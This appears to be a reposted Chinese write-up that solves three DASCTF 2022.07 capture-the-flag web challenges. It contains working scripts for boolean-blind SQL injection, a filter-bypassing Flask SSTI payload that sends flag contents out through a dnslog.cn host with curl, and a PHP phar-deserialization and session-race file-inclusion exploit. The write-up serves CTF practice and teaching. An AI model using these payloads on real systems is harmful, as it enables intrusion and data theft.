我的编程空间,编程开发者的网络收藏夹
学习永远不晚

DASCTF2022.07赋能赛 WEB题目复现

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

DASCTF2022.07赋能赛 WEB题目复现

其实7月时就想复现了,感觉题目质量挺高的,但奈何自己太菜看不懂就先搁置了。现在有能力回来填坑啦,但最后一题目前对自己理解起来还是有点难度,之后再研究研究。

DASCTF|2022DASCTF7月赋能赛官方Write Up

绝对防御

知识点

sql注入-布尔盲注

js路径查找

复现过程

进入题目查看源码,发现首页是一个静态图片,引用了许多js

我们通过JSfinder这个工具去查找相关的接口

找到一个php接口SUPERAPI.php,访问查看一下

查看源码可以看到前端对get传入的'id'参数进行了严格过滤

 输入1或者2试了一下,会返回admin和flag

 f344ac170684aabd6b65da4faf548b67.png

猜测这里是一个sql注入点,前端进行了过滤其实可以忽略,主要是后端的过滤

我们通过这样的payload进行fuzz测试,无过滤时返回admin,过滤时为空

?id=1 and 'if'='if'--+

 fuzz脚本

f = open("sqlFuzz字典.txt", 'r')strs = f.readlines()print("---------  过滤字符")for i in strs:    if "'" in i:        payload = f'1 and "{i}"="{i}"--+'    else:        payload = f"1 and '{i}'='{i}'--+"    time.sleep(0.1)    r = requests.get(url=url+payload).text    if 'admin' not in r:        print("---------  "+i)

大致过滤了以下字符

union, if, insert, update, sleep, benchmark, #, &

 sleep,union过滤了,所以我们使用布尔盲注

盲注脚本

import requestsimport timeurl = 'http://0dc42f8d-33c6-4e7e-97e5-3da1cfb6ef80.node4.buuoj.cn:81/SUPPERAPI.php?id='str = ''for i in range(60):    min,max = 32, 128    while True:        j = min + (max-min)//2        if(min == j):            str += chr(j)            print(str)            break        # 爆表名        # payload = f"1 and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{j} --+"        # 爆列        # payload = f"1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))<{j} --+"        # # 爆值        payload = f"1 and ascii(substr((select group_concat(password) from users),{i},1))<{j} --+"        r = requests.get(url=url+payload).text        time.sleep(0.1)        if(r'admin' in r):            max = j        else:            min = j

获取flag 

HardFlask

知识点

SSTI注入

复现过程

看到有输入框,并且具有一定功能,可以试着猜测为SSTI注入

尝试{{2*2}},发现被过滤

使用脚本fuzz一下

import requestsimport timeurl = 'http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/'f = open("fuzz_dict.txt", 'r')strs = f.readlines()print("---------  过滤字符")for i in strs:    if "'" in i:        data = {'nickname':f"{i}"}    else:        data = {'nickname':f'{i}'}    time.sleep(0.1)    r = requests.post(url=url, data=data).text    # print(r)    if 'Hacker! restricted characters!' in r:        print("---------  "+i)

大致过滤了一下字符

', }}, {{, ], [, ], \,  , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers

双引号还能用,所以下划线可以用attr加上unicode编码来绕过

{{用{%来替代

之前尝试了lipsum链或者未定义类似乎打不通

{{lipsum.__globals__['os'].popen('ls').read()}}

 所以还是使用最常规的思路

{{"".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__.popen('whoami')}}

通过脚本寻找含有popen方法的子类,输出为132,所以 i 就等于132了(官方WP是输出的133,不知道是环境问题还是什么)

import requestsheaders = {    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'   # __class__ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'   # __bases__gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'    # __subclasses__ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__for i in range(500):    url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"    payload = {            "nickname": '{%if(""|' +                    f'attr("{cl}")' +                    f'|attr("{ba}")' +                    f'|attr("{gi}")(0)' +                    f'|attr("{su}")()' +                    f'|attr("{gi}")(' +                    str(i) +                    f')|attr("{ii}")' +                    f'|attr("{go}")' +                    f'|attr("{gi}")' +                    f'("{po}"))' +                    '%}success' +                    '{%endif%}'            }    res = requests.post(url=url, headers=headers, data=payload)    if 'success' in res.text:        print(i)

应该print没有了,所以我们尝试外带,外带这里坑了我好久,试了bp的collaborator还有vps似乎都行不通,最后用dnslog外带可以成功

import requestsheaders = {    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'   # __class__ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'   # __bases__gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'    # __subclasses__ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060\\u002e\\u0030\\u0072\\u0070\\u0066\\u006f\\u0037\\u002e\\u0064\\u006e\\u0073\\u006c\\u006f\\u0067\\u002e\\u0063\\u006e'# curl `cat f*`..0rpfo7.dnslog.cni =132url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"payload = {        "nickname": '{%if(""|' +                f'attr("{cl}")' +                f'|attr("{ba}")' +                f'|attr("{gi}")(0)' +                f'|attr("{su}")()' +                f'|attr("{gi}")(' +                str(i) +                f')|attr("{ii}")' +                f'|attr("{go}")' +                f'|attr("{gi}")' +                f'("{po}"))' +                f'("{cmd}")' +                '%}success' +                '{%endif%}'        }res = requests.post(url=url, headers=headers, data=payload)print(res.text)

获得flag

 453dbf1a12ab6a991b0bb5321dec9238.png

Ez to getflag

知识点

phar反序列化

session文件竞争

任意文件读取

文件包含

复现过程

非预期解

因为图片查看页没有禁掉flag,可以直接通过任意文件读取,获取根目录下的flag

 预期解

通过图片查看进行读取upload.php,class.php,file.php的源码

先看一下class.php中upload类的上传逻辑

使用白名单过滤文件后缀,对文件内容进行了严格的过滤,看上去想上传一个PHP木马有些不太可能

保存文件名是上传的文件的文件名的md5值,所以文件我们是可知且可控的。

function file_check() {   $allowed_types = array("png");  $temp = explode(".",$this->f["file"]["name"]);  $extension = end($temp);   if(empty($extension)) {     echo "what are you uploaded? :0";    return false;  }  else{     if(in_array($extension,$allowed_types)) {      $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';      $f = file_get_contents($this->f["file"]["tmp_name"]);      if(preg_match_all($filter,$f)){        echo 'what are you doing!! :C';        return false;      }      return true;     }     else {       echo 'png onlyyy! XP';       return false;     }   }}function savefile() {    $fname = md5($this->f["file"]["name"]).".png";   if(file_exists('./upload/'.$fname)) {     @unlink('./upload/'.$fname);  }  move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);   echo "upload success! :D"; } 

我们再来看看文件读取这块的逻辑,过滤许多伪协议,但没有过滤phar伪协议

我们可以通过file_get_contents函数搭配phar伪协议来触发反序列化链

public function show(){  if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {    die('illegal fname :P');  } else {    echo file_get_contents($this->source);    $class="lazy" data-src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));    echo "";  }}

接下来就是试着找利用的反序列化链

我们可以通过Test类的__destruct方法作为起点,str可控并且它是打印str,所以可以找含有__toString的类

class Test{  public $str;  public function __construct(){    $this->str="It's works";  }  public function __destruct()  {    echo $this->str;  }}

Upload类中含有__toString方法,并且$cont和$size都可控,因为size相当于属性值,所以我们可以找__get魔术方法

__get 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。

function __toString(){  $cont = $this->fname;  $size = $this->fsize;  echo $cont->$size;  return 'this_is_upload';}

Show类中含有__get方法,并且他调用了一个未知方法,这时我们可以试着寻找__call魔术方法

function __get($name){  $this->ok($name);}

通过Show类中的__call方法,我们可以调用backdoor方法

我们来看看backdoor方法是什么

public function __call($name, $arguments){  if(end($arguments)=='phpinfo'){    phpinfo();  }else{    $this->backdoor(end($arguments));  }  return $name;}

backdoor方法进行了文件包含,$door我们可控,就是前面$size,可以改为我们想包含的文件名 

public function backdoor($door){  include($door);  echo "hacked!!";}

那这时候我们得想办法,如何向网站上传我们包含的文件,也思考可不可以通过日志包含,但在文件读取页尝试通过默认路径读取日志发现失败,可能路径已经被修改。

这时候开始考虑session文件竞争

构造pop链

str = $upload;    $upload->fname=$show;    $upload->fsize='/tmp/sess_Ki1ro';    // 生成phar文件    @unlink("shell.phar");    $phar = new Phar("shell.phar");    $phar->startBuffering();    $phar->setStub("");    $phar->setMetadata($test);    $phar->addFromString("test.txt", "test");    $phar->stopBuffering();?>

通过gzip文件压缩,绕过内容检测,将后缀改为png,绕过后缀检测

再上传文件

现在开始写读取文件和上传session文件的双线程脚本

import threading, requestsfrom hashlib import md5url = 'http://9e57dedf-4eec-43bb-a01e-a39ed6d52f84.node4.buuoj.cn:81/'check = True# 触发phar文件反序列化去包含session上传进度文件def include(fileurl, s):    global check    while check:        fname = md5('shell.png'.encode('utf-8')).hexdigest() + '.png'        params = {            'f': 'phar://upload/' + fname        }        res = s.get(url=fileurl, params=params)        if "working" in res.text:            print(res.text)            check = False# 利用session.upload.progress写入临时文件def sess_upload(uploadurl, s):    global check    while check:        data = {            'PHP_SESSION_UPLOAD_PROGRESS': ""        }        cookies = {            'PHPSESSID': 'chaaa'        }        files = {            'file': ('chaaa.png', b'cha' * 300)        }        s.post(url=url, data=data, cookies=cookies, files=files)def exp(url):    fileurl = url + 'file.php'    uploadurl = url + 'upload.php'    num = threading.active_count()    # 上传phar文件    file = {'file': open('./shell.png', 'rb')}    ret = requests.post(url=uploadurl, files=file)    # 文件上传条件竞争getshell    event = threading.Event()    s1 = requests.Session()    s2 = requests.Session()    for i in range(1, 5):        threading.Thread(target=sess_upload, args=(uploadurl, s1)).start()    for i in range(1, 5):        threading.Thread(target=include, args=(fileurl, s2,)).start()    event.set()    while threading.active_count() != num:        passif __name__ == '__main__':    exp(url)    print('success')

获取flag

来源地址:https://blog.csdn.net/m0_62594265/article/details/126262027

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

DASCTF2022.07赋能赛 WEB题目复现

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录